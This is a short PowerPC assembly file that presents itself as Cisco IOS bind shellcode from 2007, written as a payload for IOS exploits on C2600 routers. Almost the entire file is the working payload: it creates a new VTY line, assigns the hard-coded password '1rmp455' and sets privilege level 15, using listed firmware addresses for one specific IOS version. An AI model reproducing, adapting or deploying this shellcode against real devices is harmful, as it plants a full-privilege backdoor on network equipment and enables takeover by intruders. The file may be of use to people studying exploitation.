# ----------------------------------------------------------------------------------------
#
# Cisco IOS Bind shellcode v1.0
# (c) 2007 IRM Plc
# By Varun Uppal
#
# ----------------------------------------------------------------------------------------
#
# The code creates a new VTY, allocates a password then sets the privilege level to 15
#
# This shellcode can be used as the payload for any IOS exploit on a PowerPC-based device.
# Once assembled, the payload is only 116 bytes in length 
#
# The following four hard-coded addresses must be located for the target IOS version. 
# Version 1.1 of the shellcode will auto-locate these values and make the code 
# IOS-version-independent
#
# The hard-coded addresses used here are for:
#
# IOS (tm) C2600 Software (C2600-IK9S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
#
# ----------------------------------------------------------------------------------------
.equ makenewvty, 0x803d0d08
.equ malloc, 0x804785cc
.equ setpwonline, 0x803b9e90
.equ linesstruct, 0x82f9e334
# ----------------------------------------------------------------------------------------

.equ priv, 0xf1000000		#value used to set the privilege level

main:	li 3,71			#new vty line = 71
	lis 9,makenewvty@ha
	la 9,makenewvty@l(9)
	mtctr 9
	bctrl			#makenewvty()

	li 3,0x1e5c
	lis 9,malloc@ha
	la 9,malloc@l(9)
	mtctr 9
	bctrl			#malloc() memory for structure

	li 4,70		
	stw 4,0xa68(3)
	li 5,72		
	stw 5,0xa6c(3)
	li 4,0x00		
	bl setp			#pointer to the password into LR

.string "1rmp455"		#the password for the line

setp:	mflr 5
	lis 9,setpwonline@ha
      	la 9,setpwonline@l(9)
      	mtctr 9
      	bctrl			#setpwonline()

	lis 8,linesstruct@ha
      	la 8,linesstruct@l(8)
	lwz 9,0(8)
	lis 7,priv@ha
     	la 7,priv@l(7)
	stw 7,0xde4(9)		#set privilege level to 15